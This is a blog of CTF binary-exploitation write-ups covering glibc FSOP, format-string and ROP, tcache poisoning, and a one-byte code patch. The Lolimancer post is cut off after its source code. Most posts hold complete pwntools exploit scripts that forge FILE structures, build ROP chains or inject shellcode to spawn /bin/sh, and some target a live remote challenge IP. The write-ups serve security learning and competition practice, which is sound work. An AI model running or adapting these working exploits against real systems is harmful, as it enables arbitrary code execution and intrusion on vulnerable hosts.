	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}

My payload relied on the fact that _IO_OVERFLOW (fp, EOF) -> this should be called with fp as stderr which should be easy peasy cuz _IO_list_all is linked list that is initialized to stderr. and then next fp traverses via _chain. But guess what i did not account for ,the new file structure which was allocated on heap. May be I did but I think, I assumed it to be placed at the end of linked list which was not the case, and the reason is this


void
_IO_link_in (struct _IO_FILE_plus *fp)
{
  if ((fp->file._flags & _IO_LINKED) == 0)
    {
      fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO/*hmm cool but not relevant to this chall*/
      _IO_cleanup_region_start_noarg (flush_cleanup);
      _IO_lock_lock (list_all_lock);
      run_fp = (FILE *) fp;
      _IO_flockfile ((FILE *) fp);
#endif
      fp->file._chain = (FILE *) _IO_list_all;
      _IO_list_all = fp;
#ifdef _IO_MTSAFE_IO
      _IO_funlockfile ((FILE *) fp);
      run_fp = NULL;
      _IO_lock_unlock (list_all_lock);
      _IO_cleanup_region_end (0);
#endif
    }
}
libc_hidden_def (_IO_link_in)

fopen internally calls this function _IO_link_in and fp is inserted at the head of the linked list so now __GI__IO_list_all is like fp->stderr->stdout->stdin->0x0 and before exiting prevent_fsop nulls the _chain which breaks the linked list to only fp->0x0 and thus EOF.

0x79b097e9137a <_IO_link_in+0xfa>     mov    rdx, QWORD PTR [rip + 0x1882df] # 0x79b098019660 <__GI__IO_list_all>
0x79b097e91381  <_IO_link_in+0x101>   add    DWORD PTR [rdi + 0x4], 0x1
0x79b097e91385  <_IO_link_in+0x105>   mov    QWORD PTR [rdi + 0x8], rbp
0x79b097e91389  <_IO_link_in+0x109>   mov    QWORD PTR [rip + 0x1882d0], rbx # 0x79b098019660 <__GI__IO_list_all>
0x79b097e91390  <_IO_link_in+0x110>   mov    QWORD PTR [rbx + 0x68], rdx

While debugging in gef, I found that __GI__IO_list_all is very close to _IO_2_1_stderr.

0x79b098019660 <__GI__IO_list_all>:	0x0000633a85c90320	0x0000000000000000
0x79b098019670:	                    0x0000000000000000	0x0000000000000000
0x79b098019680 <_IO_2_1_stderr_>:	  0x00000000fbad2086	0x0000000000000000
0x79b098019690 <_IO_2_1_stderr_+16>:0x0000000000000000	0x0000000000000000
0x79b0980196a0 <_IO_2_1_stderr_+32>:0x0000000000000000	0x0000000000000000

And with arb write primitive and libc leak, I just overwrote __GI__IO_list_all to stderr thus calling _IO_OVERFLOW with fp as stderr. and shell!!

from pwn import *
elf = context.binary = ELF("./chall")
libc = ELF("./libc.so.6")
context.log_level = "Debug"

io = process()
io.recvuntil(b"Structure:")
heap_leak = int(io.recvn(0xf),0x10)
print(hex(heap_leak))
io.recvuntil(b"well:")


libc_leak = int(io.recvn(0xf),0x10)
print(hex(libc_leak))
# gdb.attach(io,gdbscript ='''break *fread''')
stderr = libc_leak+0x1947b0

libc.address = stderr-libc.sym['_IO_2_1_stderr_']
fp = pack(0x800)#0x0
fp +=pack(0x0)#8
fp+=pack(0x0)#10
fp+=pack(0x0)#18
fp+=pack(0x0)#20
fp+=pack(0x0)#28
fp+=pack(0x0)#30
fp +=pack(stderr-0x20)
fp+=pack(stderr+0xe0+0x20)

fp+=pack(0x0)#48
fp+=p8(0x0)*(0x68-len(fp))
fp+=pack(libc_leak+0x1947b0)
fp+=pack(0x0)

io.send(fp)
print(len(fp))


#########stderr payload#####################

libc_base =libc.address
stderr_address = stderr
system_addr = libc_base+libc.sym.system
fake_wide_data = stderr_address-0x48
wide_vtable  = stderr_address


print(hex(wide_vtable))
lock = libc_base+0x21b730
fake_stderr_vtable = libc_base+0x21a020#io_Wfile_jumps
lock = 0x0
chain = libc_base+0x218a80

payload=pack(stderr)
payload +=pack(0x0)*0x3
payload +=pack(0x3b01010101010101)#0x0
payload+=b"/bin/sh\x00"#0x8
payload+=pack(0x0)#0x10
payload+=b"\x00"*(0x20-0x18)
payload +=pack(0x0)#0x20
payload+=pack(0x1)#0x28
payload+=p8(0x0)*(0x60-0x30)
payload+=pack(libc_base+0x54ae0)#60
payload+=pack(chain)#68
payload+=p8(0x0)*(0x88-0x70)
payload+=pack(lock)#0x88
payload+=p8(0x0)*(0x98-0x90)#0x90
payload+=pack(wide_vtable-0x8)#0x98
payload+=p8(0x0)*(0xa0-0x90-0x10)
payload+=pack(fake_wide_data)#a0
payload+=pack(0x0)#a8
payload+=p8(0x0)*(0xd8-0xa8-0x8)
payload+=pack(fake_stderr_vtable)

print(f"fake wide data address = {hex(fake_wide_data)}")
print(f"fake_wide vtable address is {hex(wide_vtable)}")
print(f"libc base address:{hex(libc_base)}")
print(len(payload))
io.sendline(payload)
io.interactive()

A better exploit?

As libc version is 2.34, tls sections is alligned with libc sections and thus we can also overwrite dtor_list struct and get shell. I am too lazy to make exploit with this but I will just yoink the src code and disassembly and explain some stuff.

typedef void (*dtor_func) (void *);

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
libc_hidden_def (__call_tls_dtors)

Dump of assembler code for function __GI___call_tls_dtors:
   0x0000777d6fe49dc0 <+0>:	endbr64
   0x0000777d6fe49dc4 <+4>:	push   rbp
   0x0000777d6fe49dc5 <+5>:	push   rbx
   0x0000777d6fe49dc6 <+6>:	sub    rsp,0x8
   0x0000777d6fe49dca <+10>:	mov    rbx,QWORD PTR [rip+0x1cdfbf]        # 0x777d70017d90
   0x0000777d6fe49dd1 <+17>:	mov    rbp,QWORD PTR fs:[rbx]
   0x0000777d6fe49dd5 <+21>:	test   rbp,rbp
   0x0000777d6fe49dd8 <+24>:	je     0x777d6fe49e1d <__GI___call_tls_dtors+93>
   0x0000777d6fe49dda <+26>:	nop    WORD PTR [rax+rax*1+0x0]
   0x0000777d6fe49de0 <+32>:	mov    rdx,QWORD PTR [rbp+0x18]
   0x0000777d6fe49de4 <+36>:	mov    rax,QWORD PTR [rbp+0x0]
   0x0000777d6fe49de8 <+40>:	ror    rax,0x11
   0x0000777d6fe49dec <+44>:	xor    rax,QWORD PTR fs:0x30
   0x0000777d6fe49df5 <+53>:	mov    QWORD PTR fs:[rbx],rdx
   0x0000777d6fe49df9 <+57>:	mov    rdi,QWORD PTR [rbp+0x8]
   0x0000777d6fe49dfd <+61>:	call   rax
   0x0000777d6fe49dff <+63>:	mov    rax,QWORD PTR [rbp+0x10]
   0x0000777d6fe49e03 <+67>:	lock sub QWORD PTR [rax+0x468],0x1
   0x0000777d6fe49e0c <+76>:	mov    rdi,rbp
   0x0000777d6fe49e0f <+79>:	call   0x777d6fe2c350 <free@plt>
   0x0000777d6fe49e14 <+84>:	mov    rbp,QWORD PTR fs:[rbx]
   0x0000777d6fe49e18 <+88>:	test   rbp,rbp
   0x0000777d6fe49e1b <+91>:	jne    0x777d6fe49de0 <__GI___call_tls_dtors+32>
   0x0000777d6fe49e1d <+93>:	add    rsp,0x8
   0x0000777d6fe49e21 <+97>:	pop    rbx
   0x0000777d6fe49e22 <+98>:	pop    rbp
   0x0000777d6fe49e23 <+99>:	ret

while loop check is at +24, and rbx contains negative value, fs:rbx is the address of struct dtor_list.We have to null the fs:0x30(random_value) cuz then at +44 xor operation will have no effect. So overwriting func with with system<<17 and then obj with address of "bin/sh" will give the shell.

Update

I think I'll just complete it. I am making exploit locally with ASLR off so the offset will be different from Docker. This is the tls section

so to get shell we have to forge dtor_list and currently there is none(see the checks +24), so we will put a pointer there which will be our fake dtor_list. Also the ptr mangle cookie should be zero to null the side-effect of xor operation.

This is after overwriting stuff..

tls_struct =pack(libc.address+0x3bd6e8+0x8)
tls_payload = tls_struct
tls_payload+=pack(libc.sym.system<<17)
tls_payload+=pack(libc.address+0x1dbcba)
tls_payload+=pack(0x0)*0x8
tls_payload+=pack(libc.address+0x3bd740)
tls_payload+=pack(libc.address+0x3be160)
tls_payload+=pack(libc.address+0x3bd740)
tls_payload+=pack(0x0)*0x4

Aftermath

Nice challenge! Touring libc source code is fun.

References

https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc https://elixir.bootlin.com/glibc/glibc-2.34/source/stdlib/cxa_thread_atexit_impl.c#L89 https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/genops.c#L86 https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/genops.c#L685

[n00b-CTF 2026]-Pwn/Googogaga

Sun, 08 Feb 2026 00:00:00 GMT

Overview

This is the challenge that I made in n00b CTF which is Annual Recruitment CTF of InfoSecIITR for freshers.The goal of the challenge was to get the solvers know about the format sting bug and ROP chain. All mitigations are enabled

Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found

Source Code

This is the source code for the challenges.The main() function does some religious buffering and calls a function named leak().It's kinda obvious from the name that this function will leak the address which will be used for later exploitation.Then It stores 0xdeadbeef in a stack variable and then calls the function arb_w(). Then it performs a check on check variable and after passing check it calls vuln function The program is exiting via _exit syscall. Vuln function introduces plain old powerful buffer overflow vulnerability.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void leak() {
  puts("S0 you have come !!!");
  puts("Time for some test!!!");
  puts(("I hope you solved my previous challenge!!!"));
  char leak[0x20] = {0x0};
  if (fgets(leak, 0x12, stdin)) {
    leak[strcspn(leak, "\n")] = '\0';
  }
  printf(leak);
  puts("\nSanity check");
}

void arb_w() {
  puts("Some play stuff!!");
  char input[0x80] = {0x0};
  puts("Enter your desire!!");
  if (fgets(input, 0x52, stdin)) {
    input[strcspn(input, "\n")] = '\0'; // new line remover
  }
  printf(input);
}

void win() { puts(("Sanity check system('/bin/sh')")); }

void vuln() {
  puts(("So how did you reach here? !!!"));
  char some[0x10];
  read(STDIN_FILENO, some, 0x100);
  puts("I hope you had fun!!");
}

int main() {
  // setup
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  leak();
  size_t check = 0xcafebabe;
  arb_w();
  puts("\nDid you realise it?");
  if (check == 0xdeadbeef) {
    puts("Ohho , you still want to fight?");
    vuln();
  }
  puts("\nNo you did not !!");
  _exit(0);
}

To get a shell by rop chain there are many methods. One of them is to use system function in libc, and if user have libc leak so it can create a chain using pop rdi ; ret in libc where system executes '/bin/sh' as first argument and done! Another method is to use execve syscall and '/bin/sh' as its first argument. For Beginners, Read the man page of execve to know more about this. I used execve syscall cuz when I was testing it,'/bin/sh' address was not showing in libc address in gef. idk why? So I put '/bin/sh' on stack and used that address in rdi.

Exploitation

Exploitation part is really simple. Leak the libc address,stack address and canary then using printf in arb_w, overwrite the value of check variable from 0xdeadbeef to 0xcafebabe to pass the check. And then in Vuln function Put a rop chain on the stack. To arbitrary write stack address using format string,you can do it either manually or so pwntools have a function for automating it.Since,Manually writing it is tough,so I gave enough space in buffer so that even after not using 'short' in function argument the user can easily overwrite it.

from pwn import *
elf = context.binary = ELF("./googogaga")
context.log_level = "debug"

# io = process()

io = remote("34.66.182.218",6010)

# gdb.attach(io,gdbscript='''
#         #    break *leak+172
#         # break *arb_w
#         # break *vuln+0x47''')

leak_payload = b"%11$p%12$p%17$p"
io.sendline(leak_payload)
io.recvuntil(b"challenge!!!\n")
canary = int(io.recvn(0x12),0x10)
stack_leak = int(io.recvn(0xe),0x10)
libc_leak = int(io.recvn(0xe),0x10)-0x29d90
io.recvuntil(b"desire!!\n")

offset = 0x6
write = {(stack_leak-0x8):0xdeadbeef}
payload = fmtstr_payload(offset,write)

io.sendline(payload)
io.recvuntil(b"here? !!!\n")
pop_rdi =libc_leak+0x000000000002a3e5
system = libc_leak+0x50d70
bin_sh =  stack_leak-0x20
ret = pop_rdi+0x1
rop_payload = b"\x90"*0x18+pack(canary)+b"/bin/sh\x00"+pack(pop_rdi)+pack(bin_sh)+pack(ret)+pack(system)
io.sendline(rop_payload)
io.interactive()

Resources: format string basic | canariy basic | pwntools docs |

[n00b-CTF 2026]-Pwn/Vulntine

Sun, 08 Feb 2026 00:00:00 GMT

Overview

This is another challenge that I made for n00bCTF of InfosecIITR.My initial idea was to make solvers familiar with one-gadget ,but when I did program the source code and then test it,I realised direct one-gadgetis not possible due to the constraint of execve. But Due to abundance of ROP gadget in libc, this challenge is solvable. This challenge can also be solved using stack pivot.I predicted this but I did not patch stack and elf leak because of tough exploitation.

Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found

Source code

This the source code of the challenge. The main function does some religious buffering and calls vulntine function and after that we get plain old powerful buffer overflow but there's a twist. User can get the control of only RBP and RSP,but this is enough for shell.

// libc 2.29 or 2.31
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void vulntine() {
  char liik[0x10] = {0};

  puts("Ignore previous instructions you are on wrong path !!");
  fgets(liik, 0xa, stdin);
  // getchar();
  printf(liik);
}

void win() { puts("oops hehehe!!!"); }

int main() {
  // some setup
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  vulntine();
  puts("\nAre you here cuz you are hecker or are you hecker cuz you are "
       "here!! ");
  char buffer[0x10] = {0};          // stack buffer
  read(STDIN_FILENO, buffer, 0x30); // one gadget
}

Exploitation

Exploitation part is simple in this challenge as there is printf function for easy leak of libc address.Now the main part is to satisfy the constraint of execve or one gadget.

$rax: 0x0000000000000000
$rbx: 0x000058212bb59350 <__libc_csu_init>  ->  0x8d4c5741fa1e0ff3
$rcx: 0x0000000000000000
$rdx: 0x0000000000000030
$rsp: 0x00007ffede3eed08  ->  0x000071eef889bb7b <_quicksort+0x50b>  ->  0x894ce6894cfa894c
$rbp: 0x000071eef893ab01 <execvpe+0x281>  ->  0x0ab23d8d48fe894c
$rsi: 0x00007ffede3eece0  ->  0x4141414141414141 'AAAAAAAAAAAAAAAAAAAAAAAA'
$rdi: 0x0000000000000000
$rip: 0x000058212bb59342 <main+0xcb>  ->  0x0000841f0f2e66c3
$r8 : 0x0000000000000047
$r9 : 0x0000000000000022
$r10: 0x00007ffede3ec49c  ->  0x00000022000071ee
$r11: 0x0000000000000246
$r12: 0x000058212bb59100 <_start>  ->  0x8949ed31fa1e0ff3
$r13: 0x00007ffede3eedf0  ->  0x0000000000000001
$r14: 0x0000000000000000
$r15: 0x0000000000000000

This is the snapshot of the registers in gef at the ret instructions in main.

0x0000000000044b7b : mov rdx, r15 ; mov rsi, r12 ; mov rdi, r14 ; call rbp

This is the Rop chain in libc that can be used to bypass one gadget constraint.

        <execvpe+0x281>   mov    rsi, r15
        <execvpe+0x284>   lea    rdi, [rip + 0xd0ab2] # 0x71eef8a0b5bd ('/bin/sh'?)

And above is the one-gadget . So the plan is to put above one-gadget in RBP and ROP chain at RSP.As after executing ROP chain, value in r15 will be copied to rdx and rsi thus fulfilling execve syscall constraint.

from pwn import *
elf = context.binary = ELF("./vulntine")
context.log_level = "debug"

# io = process()
io = remote("34.66.182.218", 6009)
# print(f"proces pid:{io.pid}")
# pause()
# gdb.attach(io)

io.recvuntil(b"wrong path !!")
io.sendline(b"%9$p|%p")
canary = io.recvuntil(b"|")[:-1][1:]
libc_leak = io.recvline()[:-1]
canary =pack(int(canary,0x10))
io.recvuntil(b"here!! ")
one_gadget = int(libc_leak,0x10)+0xe3afe-0x1eca03
libc_base = int(libc_leak,0x10)-0x1eca03
payload = b"A"*0x18+canary+pack(libc_base+0xe3b01)+pack(libc_base+0x0000000000044b7b)
io.sendline(payload)
io.interactive()

[0xLaugh-CTF 2026]-Pwn/Alice

Thu, 29 Jan 2026 00:00:00 GMT

Overview

This is the writeup of the heap challenge that I solved in laugh ctf.The binary implemented a free count check that allow user to free up to 7 chunks,Means we can't use the method of filling tcache bins to put the next chunk in unsorted bin to get libc leak.So we have to construct fake pthread_struct to bypass free count check.

GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.6) stable release version 2.39.
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 13.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
gef> checksec
Basic information 
Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found

In libc-2.39,Pointers in tcache bins are mangled but we can easily bypass the mangling.

Source code

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice;

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("Not all memories are kind — but we must face them nonetheless.");
  while ( 1 )
  {
    menu();
    choice = read_choice();
    if ( choice == 5 )
    {
      puts("Alice closes her eyes and leaves Wonderland...");
      exit(0);
    }
    if ( choice > 5 )
    {
      puts("That choice is not real.");
    }
    else
    {
      switch ( choice )
      {
        case 4:
          forget_memory();
          break;
        case 3:
          view_memory();
          break;
        case 1:
          create_memory();
          break;
        case 2:
          edit_memory();
          break;
        default:
          goto ;
      }
    }
  }
}

This is the main function,It's just prompts user a menu.

int create_memory()
{
  int v1; 
  signed int choice; 
  size_t size; 

  printf("Memory index: ");
  choice = read_choice();
  if ( (unsigned int)choice > 8 )
    return puts(aThatMemoryDoes);
  if ( *((_QWORD *)&memories + choice) )
    return puts("Something was there already.. may wanna save somewehre else.");
  printf("How vivid is this memory? ");
  v1 = read_choice();
  size = v1;
  if ( !v1 || (unsigned __int64)v1 > 0x300 )
    return puts("That memory is too distorted to hold.");
  *((_QWORD *)&memories + choice) = malloc(v1);
  printf("What do you remember? ");
  read(0, *((void **)&memories + choice), size);
  return puts("As if it happened yesterday...");
}
int view_memory()
{
  unsigned int choice; 

  printf("Which memory do you wish to recall? ");
  choice = read_choice();
  if ( choice <= 8 )
    return puts(*((const char **)&memories + (int)choice));
  else
    return puts("Weird... I don't remember that.");
}
int edit_memory()
{
  signed int choice; 
  size_t nbytes; 

  printf("Which memory will you rewrite? ");
  choice = read_choice();
  if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
    return puts("I can't get myself to remember what happened that time.");
  nbytes = malloc_usable_size(*((void **)&memories + choice));
  printf("Rewrite your memory: ");
  read(0, *((void **)&memories + choice), nbytes);
  return puts("The past bends under your will...");
}
int forget_memory()
{
  signed int choice; 

  if ( free_count > 6 )
    return puts("Some memories refuse to fade...");
  printf("Which memory will you erase? ");
  choice = read_choice();
  if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
    return puts("Idk.");
  free(*((void **)&memories + choice));
  ++free_count;
  return puts("What was that about again?");
}

In create memory, we can malloc upto 0x300 size and the chunk pointers will be stored in .bss section. In view memory and edit memory ,There is no check to ensure that chunk is freed or not .In forget memory functions,Pointers in .bss section is not cleared after freeing it so we get UAF primtive.The free count is increased on every forget_memory call so we get maximum of 7 free and 7 malloc.

Exploitation

The exploitation part is pretty simple.There is UAF vuln so we can get Heap leak pretty easily. Then we can forge fake pthread_struct to fake free count so that on next free the chunk will go to unsorted bin.And using UAF primtive we can get libc leak. Once we get libc leak ,There is many ways to get shell using arbitrary write primtive.I overwrote stderr struct then called exit to execute system("/bin/sh").I think this method is called House of Apple 3.

from pwn import *
elf  = context.binary = ELF("./vuln_patched")
context.log_level = "Debug"

io = process()
# gdb.attach(io)
def malloc(index,size,data):
    io.sendlineafter(b">",b"1")
    io.sendlineafter(b"index:",str(index))
    io.sendlineafter(b"memory?",str(size))
    io.sendlineafter(b"remember?",data)
    
def edit(index,data):
    io.sendlineafter(b">",b"2")
    io.sendlineafter(b"rewrite?",str(index))    
    io.sendlineafter(b"memory:",data)

def view(index):
    io.sendlineafter(b">",b"3")
    io.sendlineafter(b"recall?",str(index))   
   
def free(index):
    io.sendlineafter(b">",b"4")
    io.sendlineafter(b"erase?",str(index))   
    
    
malloc(0,0xf0,b"A")
malloc(1,0xf0,b"B")
malloc(2,0x100,b"C")
malloc(3,0xf0,b"D")    

free(0x0)
view(0x0)
heap_leak = unpack(io.recvn(0x6),"all")
heap_leak = (heap_leak>>8)<<12

free(0x1)
edit(0x1,pack((heap_leak+0x10)^heap_leak>>12))
malloc(4,0xf0,b"")
malloc(5,0xf0,b"")

fake_pthread = pack(0x2)+pack(0x0)+pack(0x0)+p32(0x0)+p8(0x0)+p8(0x0)+p8(0x7)
edit(5,(fake_pthread))
free(0x2)
view(0x2)
io.recvn(0x1)
libc_leak = unpack(io.recvn(0x6),"all")-0x203b20

log.critical(f"heap base:{hex(heap_leak)}")
log.critical(f"libc base:{hex(libc_leak)}")

free(0x3)
free(0x4)

stderr = pack((libc_leak+0x2044e0)^(heap_leak>>12))
edit(0x4,stderr)


#FSOP#
system_addr =libc_leak+0x58750
libc_base = libc_leak
stderr_address = libc_base+0x2044e0
fake_wide_data = stderr_address-0x48
wide_vtable  = stderr_address
lock = libc_base+0x205700
fake_stderr_vtable = libc_base+0x202228##jumps
chain = libc_base+0x2045c0

payload =pack(0x3b01010101010101)#0x0
payload+=b"/bin/sh\x00"#0x8
payload+=pack(0x0)#0x10
payload+=b"\x00"*(0x20-0x18)
payload +=pack(0x0)#0x20
payload+=pack(0x1)#0x28
payload+=p8(0x0)*(0x60-0x30)
payload+=pack(system_addr)#60
payload+=pack(chain)#68
payload+=p8(0x0)*(0x88-0x70)
payload+=pack(lock)#0x88
payload+=p8(0x0)*(0x98-0x90)#0x90
payload+=pack(wide_vtable-0x8)#0x98
payload+=p8(0x0)*(0xa0-0x90-0x10)
payload+=pack(fake_wide_data)#a0
payload+=pack(0x0)#a8
payload+=p8(0x0)*(0xd8-0xa8-0x8)
payload+=pack(fake_stderr_vtable)

print(f"fake wide data address = {hex(fake_wide_data)}")
print(f"fake_wide vtable address is {hex(wide_vtable)}")

malloc(0x6,0xf0,b"a")
malloc(0x7,0xf0,payload)

io.sendline(b"5")
io.interactive()
#pthread struct-> snap after freeing one 0x100 chunk->we have to  overwrite that free count of 0x1->0x7
# 0x5c792dc98000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
# 0x5c792dc98010|+0x00010|+0x00010: 0x0000000000000002 0x0000000000000000 | ................ |
# 0x5c792dc98020|+0x00020|+0x00020: 0x0000000000000000 0x0001000000000000 | ................ |
# 0x5c792dc98030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98090|+0x00090|+0x00090: 0x00005c792dc982c0 0x0000000000000000 | ...-y\.......... |
# 0x5c792dc980a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980b0|+0x000b0|+0x000b0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980d0|+0x000d0|+0x000d0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980e0|+0x000e0|+0x000e0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980f0|+0x000f0|+0x000f0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98100|+0x00100|+0x00100: 0x0000000000000000 0x00005c792dc982e0 | ...........-y\.. |
# 0x5c792dc98110|+0x00110|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
# * 23 lines, 0x170 bytes

[TSG-CTF 2025]-Pwn/Closed-ended

Mon, 22 Dec 2025 00:00:00 GMT

Overview

This is the writeup of one of the interesting challenge i solved during TSG-CTF.

Challenge

The source code of the challenge is already given(many many thanks for this!!).

#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>

int main() {
    void* addr;
    char buf[10];

    mprotect((void*)0x401000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

    if (close(1) != 0 || scanf("%p", &addr) != 1)
        return 0;

    if ((unsigned long)addr < 0x4010a7 || (unsigned long)addr > 0x402000) 
        return 0;

    if (scanf("%*c%c", (char*)addr) != 1)
        return 0;

    mprotect((void*)0x401000, 0x1000, PROT_READ | PROT_EXEC);

    scanf("%100s", buf);
    return 0;
}

By looking at source code,we can see it calls mprotect and make the section of elf where instruction code is stored which is normally rx, to rwx.Then it closes stdout and takes one address from userand performs some bound check on that address.And then allow the user to write one byte at that address. After that it calls mprotect and remove the write permission and takes 100 byte input in 10 byte buffer. So we get plain old powerful buffer overflow.

If we look at the mitigations in binary,Canary is enabled

gef> checksec
Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Disabled (0x400000)
RELRO                                   : Full RELRO
Fortify                                 : Not found

We have to somehow disable canary check so we can use buffer overflow to control the RIP instructions.Also PIE is disabled so we know all the elf address and RELRO is enabled.

Exploit

We can disable canary check by changing one byte in opcode. If we see the assembly where canary check is performed

   0x0000000000401115 <+165>:	jmp    0x4010a7 <main+55>
   0x0000000000401117 <+167>:	call   0x401030 <__stack_chk_fail@plt>

and at main+55

   0x00000000004010a5 <+53>:	je     0x4010ba <main+74>
   0x00000000004010a7 <+55>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004010ab <+59>:	sub    rax,QWORD PTR fs:0x28
   0x00000000004010b4 <+68>:	jne    0x401117 <main+167>

After seeing the opcode at 0x401115 and 0x4010a5:

gef> x/10gx 0x0000000000401115
0x401115 <main+165>:	0x0fffffff14e890eb	0x31fa1e0ff300401f
gef> x/10gx 0x00000000004010a5
0x4010a5 <main+53>:	0x4864f8458b481374	0x750000002825042b

My first idea was to change the jne instruction to je at main+68 but i hit the deadend later in exploit.(The deadend was due toclobbered canary).So my next idea was to change the offset at 0x401115 so that instead of jumping to main+55 it jumps to main+70,skipping the canary check entirely and we can get one time control of RIP.

Now the problem is that there is no way to get libc leak so we have to resort to shellcode but in last mprotect call,the write permission is gone. So my next goal was to call mprotect again with write permisions i.e. rsi = 0x7 and make the region executable again. After that it's ROP shenanigans.

from pwn import *
elf = context.binary =  ELF("./closed_ended")
context.log_level = "debug"

io = process()
# io = remote("34.84.25.24", 50037)
gs = '''
b *main+124
b *main+46
b *main+0x49
'''
gdb.attach(io,gdbscript=gs)
canary_address = 0x401116
# one_byte = b"\x74"
one_byte = 0x9f

io.sendline(str(hex(canary_address)))
io.send(pack(one_byte))
shellcode_address = 0x401660+0x12
ret = 0x000000000040101a
rbp =shellcode_address+0x0
ret_address = 0x401070

#return to main->call mprotect->close(1) crashes->one more time RIP control
rop_payload_to_main = b"\x90"*11+pack(rbp)+pack(ret_address)+pack(ret)+pack(0x401105)+pack(0xcafebabe)
io.sendline(rop_payload_to_main)
#to fix close(1)
manual_shellcode = '''
    /* dup2(0, 1) */
    push 33
    pop rax
    xor rdi, rdi
    push 1
    pop rsi
    syscall

    add rsp,14 /*to allign stack */
'''

stack_assembly = asm(manual_shellcode)

rop_payload =pack(shellcode_address+0x40)+b"\x90"*0x2+pack(0xcafebabe)+pack(0xcafebabe)+pack(0x000000401682)+stack_assembly+asm(shellcraft.sh())
print(len(rop_payload))
io.sendline(rop_payload)
io.interactive()

[Backdoor-CTF 2025]-Pwn/Lolimancer

Sat, 06 Dec 2025 00:00:00 GMT

Overview

This is one of the challenge that I authored for Backdoor CTF 2025.The challenge was tagged beginner and It was compiled with musl libc.After a week,I gave NiteCTF and there was also a challenge compiled with musl libc.I solved that challenge using FSOP which I am going to demonstrate in Exploitation Part. As always,All mitigations are enabled.

Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found

Source code

This is the source code of the challenge. The code is really simple.It first calls liik then likkky and then scanf on buffer which is 0x10 bytes,giving us plain old powerful buffer overflow. liik and likky function can be used to get libc and canary leak.

#include <stdio.h>

void liiik() {
  char buffer[1024] = {0};
  read(0x0,buffer ,0x5);
  printf(buffer);
  puts("I think you do not need warmup!!");
}

void likkkkky() {
  char buffer[1024] = {0};
  read(0x0,buffer ,0x28);
  printf(buffer);
  puts("I think you do not need warmup!!");
}

int main() {
  liiik();
  puts(("One more time and you will be strong!!"));
  likkkkky();
  char array[0x10];
  scanf("%s", array);

  return 0;

}

